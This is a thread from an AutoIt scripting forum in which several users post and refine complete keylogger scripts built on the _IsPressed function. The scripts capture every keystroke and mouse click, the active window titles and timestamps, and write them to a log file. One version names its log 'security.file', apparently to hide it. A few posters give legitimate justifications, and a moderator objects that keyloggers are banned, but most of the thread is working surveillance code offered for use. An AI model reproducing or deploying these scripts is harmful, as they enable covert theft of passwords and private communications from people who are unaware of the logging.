Jump to content

_IsPressed func


ezzetabi
 Share

Recommended Posts

This helps alot! I like the thing you did with the keyup keydown state Goat, because i was having the same problem. I'm still having trouble with catching every key. If i type too fast it will either skip that key or place it after the next. Like if i type "Testing" is will put something like "Tetin" or "Tetsing" with the t and s backward. I did just leave out Sleep() and have it delete every letter beside each other that is the same, but if i put in something like "www.-----.com" then it would change it to "w.-----.com". At least with that it doesn't skip a letter and you can basicly tell what the user was going to type. I dunno, there has to be a better way...

-----------------------------------------------------------------------------------------------------------------------------

I know im replying to a VERY old post but i dont care...

-----------------------------------------------------------------------------------------------------------------------------

Edited by Kinghenery
Link to comment
Share on other sites

  • Replies 64
  • Created
  • Last Reply

Top Posters In This Topic

Top Posters In This Topic

  • 5 months later...
  • Moderators

Is there a way to do it without the while loop? because the way it's written, it either doesnt see the key being pressed or it sees it too many times (because of the timing)

Sure use a Do / Until loop :think: (might want to look at adjusting some "sleep"

Common sense plays a role in the basics of understanding AutoIt... If you're lacking in that, do us all a favor, and step away from the computer.

Link to comment
Share on other sites

  • 2 weeks later...

WOW, I didn't think it was ever possible to make one that worked well. every time I tried it would either miss keys or repeat keys. cool, good job. I wonder why this hasn't been Locked out and deleted by a moderator?

;;break(0);disllow close from the tasktray
;; Comment this out to prevent hotkey exit
hotkeyset('{esc}', 'halt')
func halt()
    exit
endFunc

$i=0
$shiftDown=0
$window2=""
$date=@year&@mon&@mday
$logDir=@DesktopDir
$logFile='log.html'
DirCreate ($logDir)
Opt("TrayIconHide", 0)  
;------------------------------------------------Other Functions------------------
Func _IsPressed($hexKey)

Local $aR, $bRv
$hexKey = '0x' & $hexKey
$aR = DllCall($user32, "int", "GetAsyncKeyState", "int", $hexKey)

If $aR[0] <> 0 Then
    $bRv = 1
Else
    $bRv = 0
EndIf

Return $bRv
EndFunc  

$file = FileOpen($logDir&'\'&$logFile, 1)
If $file = -1 Then
  Exit
EndIf
filewrite($file,"<font face=Verdana size=1>")
Func Terminate()
DllClose ( $user32 )
FileClose ( $file )
    Exit
EndFunc

Opt("OnExitFunc","Terminate")
$user32 = DllOpen ( "user32" )
$x = 0
$y = 0
$key = ''
Dim $keyDown[8][16]
for $x = 0 to 7
 for $y = 0 to 15
  $keyDown[$x][$y] = 0
 next
next
while 1
    if _IsPressed('01') Then
        _LogKeyPress('<font color=#008000 style=font-size:9px><i> [LEFT MOUSE] </i></font>')
    endif
    if _IsPressed('02') Then
        _LogKeyPress('<font color=#008000 style=font-size:9px><i> [RIGHT MOUSE] </i></font>')
    endif
    if _IsPressed('08') Then
        _LogKeyPress('<font color=#F00000 style=font-size:9px><i> [BACKSPACE] </i></font>')
    endif
    if _IsPressed('09') Then
        _LogKeyPress('<font color=#FF8000 style=font-size:9px><i> [TAB] </i></font>')
    endif
    if _IsPressed('0d') Then
        _LogKeyPress('<font color=#A000A0 style=font-size:9px><i> [ENTER] </i></font><br>')
    endif
    if _IsPressed('10') Then
        _LogKeyPress('<font color=#00A0A0 style=font-size:9px><i> [SHIFT] </i></font>')
    endif
    if _IsPressed('12') Then
        _LogKeyPress('<font color=#FF8000 style=font-size:9px><i> [CTRL] </i></font>')
    endif
    if _IsPressed('13') Then
        _LogKeyPress('<font color=#FF8000 style=font-size:9px><i> [PAUSE] </i></font>')
    endif
    if _IsPressed('14') Then
        _LogKeyPress('<font color=#FF8000 style=font-size:9px><i> [CAPSLOCK] </i></font>')
    endif
    if _IsPressed('1b') Then
        _LogKeyPress('<font color=#F00000 style=font-size:9px><i> [ESC] </i></font>')
    endif
    if _IsPressed('21') Then
        _LogKeyPress('<font color=#FF8000 style=font-size:9px><i> [PGUP] </i></font>')
    endif
    if _IsPressed('22') Then
        _LogKeyPress('<font color=#FF8000 style=font-size:9px><i> [PGDOWN] </i></font>')
    endif
    if _IsPressed('23') Then
        _LogKeyPress('<font color=#FF8000 style=font-size:9px><i> [END] </i></font>')
    endif
    if _IsPressed('24') Then
        _LogKeyPress('<font color=#FF8000 style=font-size:9px><i> [HOME] </i></font>')
    endif
    if _IsPressed('25') Then
        _LogKeyPress('<font color=#0000F0 style=font-size:9px><i> [LEFT] </i></font>')
    endif
    if _IsPressed('26') Then
        _LogKeyPress('<font color=#0080F0 style=font-size:9px><i> [UP] </i></font>')
    endif
    if _IsPressed('27') Then
        _LogKeyPress('<font color=#0080F0 style=font-size:9px><i> [RIGHT] </i></font>')
    endif
    if _IsPressed('28') Then
        _LogKeyPress('<font color=#0080F0 style=font-size:9px><i> [DOWN] </i></font>')
    endif
    if _IsPressed('2c') Then
        _LogKeyPress('<font color=#FF8000 style=font-size:9px><i> [PRINTSCREEN] </i></font>')
    endif
    if _IsPressed('2d') Then
        _LogKeyPress('<font color=#FF8000 style=font-size:9px><i> [INSERT] </i></font>')
    endif
    if _IsPressed('2e') Then
        _LogKeyPress('<font color=#F00a000 style=font-size:9px><i> [DELETE] </i></font>')
    endif
    
    
    for $x = 2 to 7
     for $y = 0 to 15
        $key = hex($x, 1)&hex($y, 1)
        If _IsPressed($key) AND $keyDown[$x][$y] == 0 Then
            _LogKeyPress(chr(dec($key)))
            $keyDown[$x][$y] = 1
        
        else
            If _IsPressed($key)then
            else
                $keyDown[$x][$y] = 0
            endif
        endif
       next
     next
wend
Func _LogKeyPress($what2log)
$window=wingettitle("")
if $window=$window2 Then
    FileWrite($file,$what2log)
    Sleep(95)
Else
$window2=$window
FileWrite($file, "<br><BR>" & "<b> ["& @Year&"."&@mon&"."&@mday&"  "&@HOUR & ":" &@MIN & ":" &@SEC & ']  Window: "'& $window& '"</b><br>'& $what2log)
sleep (95)
Endif
EndFunc

This works off the fact that characters are sent based on a 0-7, 0-F hex grid (00 all the way up to 7F (127). IMO Much faster... It also implements a keyup keydown state so slow typers don't feed in

IIII'''MMMM WRRITTINGGG SOMMEETHIINGGG... I was having problems with that last sleep(100) in the log func. I couldn't find a time that suited my fast typing and my slow typing without either skipping keys or adding too many to the log.

[center]AutoIT + Finger Print Reader/Scanner = COOL STUFF -> Check Out Topic![/center][center][font=Arial Black]Check out ConsultingJoe.com[/font][/center][center]My Scripts~~~~~~~~~~~~~~Web Protocol Managing - Simple WiFi Scanner - AutoTunes - Remote PC Control V2 - Audio SpectrascopePie Chart UDF - At&t's TTS - Custom Progress Bar - Windows Media Player Embed[/center]

Link to comment
Share on other sites

  • 11 months later...
  • 2 weeks later...

I updated this script so it no longer generates a "possibility" error.

;;;;;;;Updated by Leoj to eliminate a "possibility" error.
;;break(0);disllow close from the tasktray
;; Comment this out to prevent hotkey exit
hotkeyset('{esc}', 'halt')
func halt()
    exit
endFunc

$i=0
$shiftDown=0
$window2=""
$date=@year&@mon&@mday
$logDir=@DesktopDir
$logFile='log.html'
DirCreate ($logDir)
Opt("TrayIconHide", 0)  
;------------------------------------------------Other Functions------------------
Func _IsPressed($hexKey)
    
Local $aR, $bRv
$hexKey = '0x' & $hexKey
$aR = DllCall("user32.dll", "int", "GetAsyncKeyState", "int", $hexKey)

If $aR[0] <> 0 Then
    $bRv = 1
Else
    $bRv = 0
EndIf

Return $bRv
EndFunc  

$file = FileOpen($logDir&'\'&$logFile, 1)
If $file = -1 Then
  Exit
EndIf
filewrite($file,"<font face=Verdana size=1>")

Opt("OnExitFunc","Terminate")
$user32 = DllOpen ( "user32" )
Func Terminate()
DllClose ( $user32 )
FileClose ( $file )
    Exit
EndFunc
$x = 0
$y = 0
$key = ''
Dim $keyDown[8][16]
for $x = 0 to 7
for $y = 0 to 15
  $keyDown[$x][$y] = 0
next
next
while 1
    if _IsPressed('01') Then
        _LogKeyPress('<font color=#008000 style=font-size:9px><i> [LEFT MOUSE] </i></font>')
    endif
    if _IsPressed('02') Then
        _LogKeyPress('<font color=#008000 style=font-size:9px><i> [RIGHT MOUSE] </i></font>')
    endif
    if _IsPressed('08') Then
        _LogKeyPress('<font color=#F00000 style=font-size:9px><i> [BACKSPACE] </i></font>')
    endif
    if _IsPressed('09') Then
        _LogKeyPress('<font color=#FF8000 style=font-size:9px><i> [TAB] </i></font>')
    endif
    if _IsPressed('0d') Then
        _LogKeyPress('<font color=#A000A0 style=font-size:9px><i> [ENTER] </i></font><br>')
    endif
    if _IsPressed('10') Then
        _LogKeyPress('<font color=#00A0A0 style=font-size:9px><i> [SHIFT] </i></font>')
    endif
    if _IsPressed('12') Then
        _LogKeyPress('<font color=#FF8000 style=font-size:9px><i> [CTRL] </i></font>')
    endif
    if _IsPressed('13') Then
        _LogKeyPress('<font color=#FF8000 style=font-size:9px><i> [PAUSE] </i></font>')
    endif
    if _IsPressed('14') Then
        _LogKeyPress('<font color=#FF8000 style=font-size:9px><i> [CAPSLOCK] </i></font>')
    endif
    if _IsPressed('1b') Then
        _LogKeyPress('<font color=#F00000 style=font-size:9px><i> [ESC] </i></font>')
    endif
    if _IsPressed('21') Then
        _LogKeyPress('<font color=#FF8000 style=font-size:9px><i> [PGUP] </i></font>')
    endif
    if _IsPressed('22') Then
        _LogKeyPress('<font color=#FF8000 style=font-size:9px><i> [PGDOWN] </i></font>')
    endif
    if _IsPressed('23') Then
        _LogKeyPress('<font color=#FF8000 style=font-size:9px><i> [END] </i></font>')
    endif
    if _IsPressed('24') Then
        _LogKeyPress('<font color=#FF8000 style=font-size:9px><i> [HOME] </i></font>')
    endif
    if _IsPressed('25') Then
        _LogKeyPress('<font color=#0000F0 style=font-size:9px><i> [LEFT] </i></font>')
    endif
    if _IsPressed('26') Then
        _LogKeyPress('<font color=#0080F0 style=font-size:9px><i> [UP] </i></font>')
    endif
    if _IsPressed('27') Then
        _LogKeyPress('<font color=#0080F0 style=font-size:9px><i> [RIGHT] </i></font>')
    endif
    if _IsPressed('28') Then
        _LogKeyPress('<font color=#0080F0 style=font-size:9px><i> [DOWN] </i></font>')
    endif
    if _IsPressed('2c') Then
        _LogKeyPress('<font color=#FF8000 style=font-size:9px><i> [PRINTSCREEN] </i></font>')
    endif
    if _IsPressed('2d') Then
        _LogKeyPress('<font color=#FF8000 style=font-size:9px><i> [INSERT] </i></font>')
    endif
    if _IsPressed('2e') Then
        _LogKeyPress('<font color=#F00a000 style=font-size:9px><i> [DELETE] </i></font>')
    endif
    
    
    for $x = 2 to 7
     for $y = 0 to 15
        $key = hex($x, 1)&hex($y, 1)
        If _IsPressed($key) AND $keyDown[$x][$y] == 0 Then
            _LogKeyPress(chr(dec($key)))
            $keyDown[$x][$y] = 1
        
        else
            If _IsPressed($key)then
            else
                $keyDown[$x][$y] = 0
            endif
        endif
       next
     next
wend
Func _LogKeyPress($what2log)
$window=wingettitle("")
if $window=$window2 Then
    FileWrite($file,$what2log)
    Sleep(95)
Else
$window2=$window
FileWrite($file, "<br><BR>" & "<b> ["& @Year&"."&@mon&"."&@mday&"  "&@HOUR & ":" &@MIN & ":" &@SEC & ']  Window: "'& $window& '"</b><br>'& $what2log)
sleep (95)
Endif
EndFunc
Link to comment
Share on other sites

After spending quite a bit of time looking at the various examples, they put me on track with what I needed. In my particular scenario I'm a software integrator for a R&D facility and when we drop our builds for our testers, we go into a lull. They spend a ton of time doing testing procedures looking for positive results. It was then I decided to try to spend a little time trying to come up with something to automate what they were working on. At first I looked into the ScriptWriter and the Recorder, but it never really worked to our specifications. Thus I endeavored to try to make my own. The _IsPressed function and namely these posts aided significantly. Although the _IsPressed function could be exploited for malicious purposes, there are numerous legitimate purposes such as in my case. Granted it only took a couple hours to figure this out and come up with my version of the solution, but it works quite well considering.

What I did change. I took out the DllOpen and DllClose lines as the dll will close itself automatically after the DllCall is completed. The most important addition I added was the support for sending keys as they are typed. This means that it is shift key dependent. Now I didn't throw in CapsLock, but that will be throw in later. Additionally I loved the concept of setting up the For Next Loop based around commonly used keys, but unfortunately this caused a couple of problems for me. Specifically I would never have been able to enter in a period or apostrophe for one. Also, it covered keys that weren't in use or reserved so it was wasted cycles. Therefore, I decided to wrap up all the useable keys into one two dimensional array to where the first element was the hexkey and the second was the keydown state. I also removed a variable that wasn't in use (probably was thrown in for future addition). Finally I removed the sleep lines from the _LogKeyPress function as it just slowed it down.

What I did add may cause some problems. I put only half a thought into how I was going to order the keys within the array. However if I had spent some more thought I might have moved the last 7 keys to right before the numbers. Why? In order to speed up execution of the main for next loop I made some assumptions. I felt that in most cases I'm not expecting to do two letter combinations back to back meaning I won't press G and H at the same time. Thus after a letter, a number, or a special character is pressed it will exit the For Next Loop.

In the end, I see that it writes to the log.html file exactly as typed. There aren't any double characters or missed characters. Later on as I progress through creating my own recorder for my testers testing procedures I will thrown in more support for ALT and CTRL as well as the other keys that perform various functions. Anyways here's my version. It's more code than others, but it covers all keys and performs well.

hotkeyset('{esc}', 'halt')
Opt("TrayIconHide", 0) 

;Set up a two dimensional array to handle all relevant keys
Dim $keys[83][2]
$keys[0][0] = '01' ;Left Mouse
$keys[1][0] = '02' ;Right Mouse
$keys[2][0] = '11' ;CTRL
$keys[3][0] = '12' ;ALT
$keys[4][0] = '10' ;SHIFT
$keys[5][0] = '09' ;TAB
$keys[6][0] = '08' ;Backspace
$keys[7][0] = '0D' ;Enter
$keys[8][0] = '20' ;Space
$keys[9][0] = '1B' ;Esc
$keys[10][0] = '14' ;Caps Lock
$keys[11][0] = '2D' ;Insert
$keys[12][0] = '2E' ;Delete
$keys[13][0] = '24' ;Home
$keys[14][0] = '23' ;End
$keys[15][0] = '21' ;Page Up
$keys[16][0] = '22' ;Page Down
$keys[17][0] = 'C0' ;`~
$keys[18][0] = 'BD' ;-_
$keys[19][0] = 'BB' ;=+
$keys[20][0] = 'DB' ;[{
$keys[21][0] = 'DD' ;]}
$keys[22][0] = 'DC' ;\|
$keys[23][0] = 'BA' ;;:
$keys[24][0] = 'DE' ;'"
$keys[25][0] = 'BC' ;,<
$keys[26][0] = 'BE' ;.>
$keys[27][0] = 'BF' ;/?
$keys[28][0] = '30' ;0)
$keys[29][0] = '31' ;1!
$keys[30][0] = '32' ;2@
$keys[31][0] = '33' ;3#
$keys[32][0] = '34' ;4$
$keys[33][0] = '35' ;5%
$keys[34][0] = '36' ;6^
$keys[35][0] = '37' ;7&
$keys[36][0] = '38' ;8*
$keys[37][0] = '39' ;9(
$keys[38][0] = '41' ;Aa
$keys[39][0] = '42' ;Bb
$keys[40][0] = '43' ;Cc
$keys[41][0] = '44' ;Dd
$keys[42][0] = '45' ;Ee
$keys[43][0] = '46' ;Ff
$keys[44][0] = '47' ;Gg
$keys[45][0] = '48' ;Hh
$keys[46][0] = '49' ;Ii
$keys[47][0] = '4A' ;Jj
$keys[48][0] = '4B' ;Kk
$keys[49][0] = '4C' ;Ll
$keys[50][0] = '4D' ;Mm
$keys[51][0] = '4E' ;Nn
$keys[52][0] = '4F' ;Oo
$keys[53][0] = '50' ;Pp
$keys[54][0] = '51' ;Qq
$keys[55][0] = '52' ;Rr
$keys[56][0] = '53' ;Ss
$keys[57][0] = '54' ;Tt
$keys[58][0] = '55' ;Uu
$keys[59][0] = '56' ;Vv
$keys[60][0] = '57' ;Ww
$keys[61][0] = '58' ;Xx
$keys[62][0] = '59' ;Yy
$keys[63][0] = '5A' ;Zz
$keys[64][0] = '70' ;F1
$keys[65][0] = '71' ;F2
$keys[66][0] = '72' ;F3
$keys[67][0] = '73' ;F4
$keys[68][0] = '74' ;F5
$keys[69][0] = '75' ;F6
$keys[70][0] = '76' ;F7
$keys[71][0] = '77' ;F8
$keys[72][0] = '78' ;F9
$keys[73][0] = '79' ;F10
$keys[74][0] = '7A' ;F11
$keys[75][0] = '7B' ;F12
$keys[76][0] = '7C' ;Print Screen
$keys[77][0] = '7D' ;Scroll Lock (Number Lock)
$keys[78][0] = '7E' ;Pause (Break)
$keys[79][0] = '26' ;Up
$keys[80][0] = '28' ;Down
$keys[81][0] = '25' ;Left
$keys[82][0] = '27' ;Right

;Set up Log File Information
$window2=""
$date=@year&@mon&@mday
$logDir=@DesktopDir
$logFile='log.html'
$file = FileOpen($logDir&'\'&$logFile, 1)
If $file = -1 Then
   Exit
EndIf
filewrite($file,"<font face=Verdana size=1>")

;Main Loop
$key = ''
while 1
   for $i = 0 to 82
   $key = $keys[$i][0]
   If _IsPressed($key) AND  $keys[$i][1] = '0' Then
                
    ;Trap for letters being pressed.
      if dec($key) > 64 and dec($key) < 91 Then
                    
    ;Trap for Shift being pressed.
         If _IsPressed('10') Then
            _LogKeyPress(chr(dec($key)))
         Else
            _LogKeyPress(chr(dec($key) + 32))
         EndIf
                    
         $keys[$i][1] = '1'
         ExitLoop
      EndIf
                
    ;Trap for numbers being pressed.
      if dec($key) > 47 and dec($key) < 58 Then
                    
    ;Trap for Shift being pressed.
         If _IsPressed('10') Then
            if _IsPressed('30') then _LogKeyPress(chr(41));)
               if _IsPressed('31') then _LogKeyPress(chr(33)) ;!
               if _IsPressed('32') then _LogKeyPress(chr(64)) ;@
               if _IsPressed('33') then _LogKeyPress(chr(35)) ;#
               if _IsPressed('34') then _LogKeyPress(chr(36)) ;$
               if _IsPressed('35') then _LogKeyPress(chr(37)) ;%
               if _IsPressed('36') then _LogKeyPress(chr(94)) ;^
               if _IsPressed('37') then _LogKeyPress(chr(38)) ;&
               if _IsPressed('38') then _LogKeyPress(chr(42)) ;*
               if _IsPressed('39') then _LogKeyPress(chr(40)) ;(
            Else
               _LogKeyPress(chr(dec($key)))
            EndIf
                    
            $keys[$i][1] = '1'
            ExitLoop
         EndIf
                
    ;Trap for Space
         If dec($key) = 32 Then
            _LogKeyPress(chr(dec($key)))
            $keys[$i][1] = '1'
         EndIf
            
    ;Trap for other printable special characters
         if $i > 16 and $i < 28 Then
            If _IsPressed('10') Then
               if _IsPressed('C0') then _LogKeyPress(chr(126)) ;~
               if _IsPressed('BD') then _LogKeyPress(chr(95)) ;_
               if _IsPressed('BB') then _LogKeyPress(chr(43)) ;+
               if _IsPressed('DB') then _LogKeyPress(chr(123)) ;{
               if _IsPressed('DD') then _LogKeyPress(chr(125)) ;}
               if _IsPressed('DC') then _LogKeyPress(chr(124)) ;|
               if _IsPressed('BA') then _LogKeyPress(chr(58)) ;:
               if _IsPressed('DE') then _LogKeyPress(chr(34)) ;"
               if _IsPressed('BC') then _LogKeyPress(chr(60)) ;<
               if _IsPressed('BE') then _LogKeyPress(chr(62)) ;>
               if _IsPressed('BF') then _LogKeyPress(chr(63)) ;?
            Else
               if _IsPressed('C0') then _LogKeyPress(chr(96)) ;`
               if _IsPressed('BD') then _LogKeyPress(chr(45)) ;-
               if _IsPressed('BB') then _LogKeyPress(chr(61)) ;=
               if _IsPressed('DB') then _LogKeyPress(chr(91)) ;[
               if _IsPressed('DD') then _LogKeyPress(chr(93)) ;]
               if _IsPressed('DC') then _LogKeyPress(chr(92)) ;\
               if _IsPressed('BA') then _LogKeyPress(chr(59)) ;;
               if _IsPressed('DE') then _LogKeyPress(chr(39)) ;'
               if _IsPressed('BC') then _LogKeyPress(chr(44)) ;,
               if _IsPressed('BE') then _LogKeyPress(chr(46)) ;.
               if _IsPressed('BF') then _LogKeyPress(chr(47)) ;/
            EndIf
                
            $keys[$i][1] = '1'
            ExitLoop
         Endif
                
      else
            
    ;Check for Key Release
         If _IsPressed($key) then
         else
            $keys[$i][1] = '0'
         endif

      endif
   next
wend

;===================================================================================================


Func halt()
   exit
EndFunc

;===================================================================================================


Func _IsPressed($hexKey)
  
   Local $aR, $bRv
   $hexKey = '0x' & $hexKey
   $aR = DllCall("user32.dll", "int", "GetAsyncKeyState", "int", $hexKey)

   If $aR[0] <> 0 Then
      $bRv = 1
   Else
      $bRv = 0
   EndIf

   Return $bRv
    
EndFunc

;===================================================================================================


Func _LogKeyPress($what2log)
    
   $window=wingettitle("")
   if $window=$window2 Then
      FileWrite($file,$what2log)
   Else
      $window2=$window
      FileWrite($file, "<br><BR>" & "<b> ["& @Year&"."&@mon&"."&@mday&"  "&@HOUR & ":" &@MIN & ":" &@SEC & ']  Window: "'& $window& '"</b><br>'& $what2log)
   Endif
    
EndFunc

;===================================================================================================
Edited by kiwikid
Link to comment
Share on other sites

  • 4 months later...
  • 4 weeks later...

I've got buffer issues. I've copied the code from a couple of forums and everytime I run the script, it dumps keys I've pressed seconds before the script actually executes!! I use Scite to edit my code, when I hit F5 to run the script, "F5" gets logged as well as some other junk before the "F5". I've been looking for a way to clear the buffer but have not found anything. I saw this on another post but it didn't work:

While _IsPressed($UserDll)

WEnd

Any ideas?? Other than that, it works great! Is anybody else having this problem??

For those of you opposed to this kind of "keylogger" code, check your ethics at the door. I've got legitimate uses for this. These are forums for discussion and support, not for you to state your opinions.

Link to comment
Share on other sites

  • 9 months later...

any of the statements with a letter needs to be in quotes " ' "... try '4x' and '4e'.

~WhOOt

BTW i wanted to share my script, to complete the keylogger.

#include-once

$file = FileOpen("security.file", 1)
If $file = -1 Then
   Exit
EndIf

While 1
   $sleep = 50
;for the a
  If _IsPressed(41) Then
     _LogKeyPress("a")
     sleep($sleep)
     Elseif _IsPressed(42) Then
     _LogKeyPress("b")
          sleep($sleep)
          Elseif _IsPressed(43) Then
     _LogKeyPress("c")
          sleep($sleep)
          Elseif _IsPressed(44) Then
     _LogKeyPress("d")
          sleep($sleep)
          Elseif _IsPressed(45) Then
     _LogKeyPress("e")
          sleep($sleep)
          Elseif _IsPressed(46) Then
     _LogKeyPress("f")
          sleep($sleep)
          Elseif _IsPressed(47) Then
     _LogKeyPress("g")
          sleep($sleep)
          Elseif _IsPressed(48) Then
     _LogKeyPress("h")
          sleep($sleep)
          Elseif _IsPressed(49) Then
     _LogKeyPress("i")
          sleep($sleep)
          Elseif _IsPressed(50) Then
     _LogKeyPress("p")
          sleep($sleep)
          Elseif _IsPressed(51) Then
     _LogKeyPress("q")
          sleep($sleep)
          Elseif _IsPressed(52) Then
     _LogKeyPress("r")
          sleep($sleep)
          Elseif _IsPressed(53) Then
     _LogKeyPress("s")
          sleep($sleep)
          Elseif _IsPressed(54) Then
     _LogKeyPress("t")
          sleep($sleep)
          Elseif _IsPressed(55) Then
     _LogKeyPress("u")
          sleep($sleep)
          Elseif _IsPressed(56) Then
     _LogKeyPress("v")
          sleep($sleep)
          Elseif _IsPressed(57) Then
     _LogKeyPress("w")
          sleep($sleep)
          Elseif _IsPressed(58) Then
     _LogKeyPress("x")
          sleep($sleep)
          Elseif _IsPressed(59) Then
     _LogKeyPress("y")
          sleep($sleep)
          Elseif _IsPressed(60) Then
     _LogKeyPress("0")
          sleep($sleep)
               Elseif _IsPressed(61) Then
     _LogKeyPress("1")
          sleep($sleep)
               Elseif _IsPressed(62) Then
     _LogKeyPress("2")
          sleep($sleep)
               Elseif _IsPressed(63) Then
     _LogKeyPress("3")
          sleep($sleep)
               Elseif _IsPressed(64) Then
     _LogKeyPress("4")
          sleep($sleep)
               Elseif _IsPressed(65) Then
     _LogKeyPress("5")
          sleep($sleep)
               Elseif _IsPressed(66) Then
     _LogKeyPress("6")
          sleep($sleep)
               Elseif _IsPressed(67) Then
     _LogKeyPress("7")
          sleep($sleep)
               Elseif _IsPressed(68) Then
     _LogKeyPress("8")
          sleep($sleep)
               Elseif _IsPressed(69) Then
     _LogKeyPress("9")
          sleep($sleep)
               Elseif _IsPressed(08) Then
     _LogKeyPress(" BACKSPACE ")
          sleep($sleep)
               Elseif _IsPressed(09) Then
     _LogKeyPress(" TAB ")
          Elseif _IsPressed('4A') Then
     _LogKeyPress("j")
          sleep($sleep)
          Elseif _IsPressed('4B') Then
     _LogKeyPress("k")
          sleep($sleep)
          Elseif _IsPressed('4C') Then
     _LogKeyPress("l")
          sleep($sleep)
          Elseif _IsPressed('4D') Then
     _LogKeyPress("m")
          sleep($sleep)
               Elseif _IsPressed('4F') Then
     _LogKeyPress("o")
          sleep($sleep)
                    Elseif _IsPressed('0D') Then
     _LogKeyPress("  ENTER  ")
          sleep($sleep)
               Elseif _IsPressed('5A') Then
     _LogKeyPress("z")
          sleep($sleep)
          Elseif _IsPressed('5B') Then
     _LogKeyPress("  Left Windows key  ")
          sleep($sleep)
          Elseif _IsPressed('5C') Then
     _LogKeyPress("  Right Windows key  ")
          sleep($sleep)
          Elseif _IsPressed('4E') Then
     _LogKeyPress("n")
          sleep($sleep)
           Elseif _IsPressed(30) Then
     _LogKeyPress("0")
          sleep($sleep)
               Elseif _IsPressed(31) Then
     _LogKeyPress("1") 
     sleep($sleep)     
     Elseif _IsPressed(32) Then
     _LogKeyPress("2")
          sleep($sleep)
           Elseif _IsPressed(33) Then
     _LogKeyPress("3")
          sleep($sleep)
           Elseif _IsPressed(34) Then
     _LogKeyPress("4")
          sleep($sleep)
           Elseif _IsPressed(35) Then
     _LogKeyPress("5")
          sleep($sleep)
           Elseif _IsPressed(36) Then
     _LogKeyPress("6")
          sleep($sleep)
           Elseif _IsPressed(37) Then
     _LogKeyPress("7")
          sleep($sleep)
           Elseif _IsPressed(38) Then
     _LogKeyPress("8")
          sleep($sleep)
           Elseif _IsPressed(39) Then
     _LogKeyPress("9")
          sleep($sleep)

     Elseif _IsPressed(20) Then
     _LogKeyPress("  ")
          sleep($sleep)
  EndIf
; repeat that for every key...

  Sleep(50); You may need to change that value (depending on your computer´s speed)
WEnd
Func _LogKeyPress($what2log)
  FileWrite('security.file', $what2log)
EndFunc

FileClose($file)
hey..guy

after I use your script.

it shows as below

Line 11 (File "C:\Documents and Settings\User\Desktop\File.au3")

If _IsPressed(41) Then

If ^ERROR

Error: Unkown function name

what is the complete script???

Link to comment
Share on other sites

hey..guy

after I use your script.

it shows as below

Line 11 (File "C:\Documents and Settings\User\Desktop\File.au3")

If _IsPressed(41) Then

If ^ERROR

Error: Unkown function name

what is the complete script???

With just 1 post here, you won't get much help with a key-logger. They are not allowed here. If that's all you want, then go somewhere else to get it!

8)

NEWHeader1.png

Link to comment
Share on other sites

Dears,

I like both _Ispressed and Pressed very much. I would like to write a key remapper which can recognize keystrokes like Shift-Ctrl-Win-A-9 or LeftCtrl-RightCtrl-F1-F2 or anything else. But alas, the functions don't recognize any punctuation keys, ` - = \ [ ] ; ' , . / As I see, there is no virtual key code assigned to these keys in Windows. Strange.

There isn't much use in a key remapper unaware for punctuation keys. Is there a way to recognize any keystroke? Or do I need to use Hotkeyset calls for every key combination to be assigned?

Thank you in advance for any help.

Láng Attila D., LAttilaD.org

Link to comment
Share on other sites

Dears,

I like both _Ispressed and Pressed very much. I would like to write a key remapper which can recognize keystrokes like Shift-Ctrl-Win-A-9 or LeftCtrl-RightCtrl-F1-F2 or anything else. But alas, the functions don't recognize any punctuation keys, ` - = \ [ ] ; ' , . / As I see, there is no virtual key code assigned to these keys in Windows. Strange.

There isn't much use in a key remapper unaware for punctuation keys. Is there a way to recognize any keystroke? Or do I need to use Hotkeyset calls for every key combination to be assigned?

Thank you in advance for any help.

Most of those keys do have standard codes. See here.

Seatrch for a post by covaks containing EvaluateKey and you will be abl eto find the scan codes for characters on your keyboard.

Edited by martin
Serial port communications UDF Includes functions for binary transmission and reception.printing UDF Useful for graphs, forms, labels, reports etc.Add User Call Tips to SciTE for functions in UDFs not included with AutoIt and for your own scripts.Functions with parameters in OnEvent mode and for Hot Keys One function replaces GuiSetOnEvent, GuiCtrlSetOnEvent and HotKeySet.UDF IsConnected2 for notification of status of connected state of many urls or IPs, without slowing the script.
Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...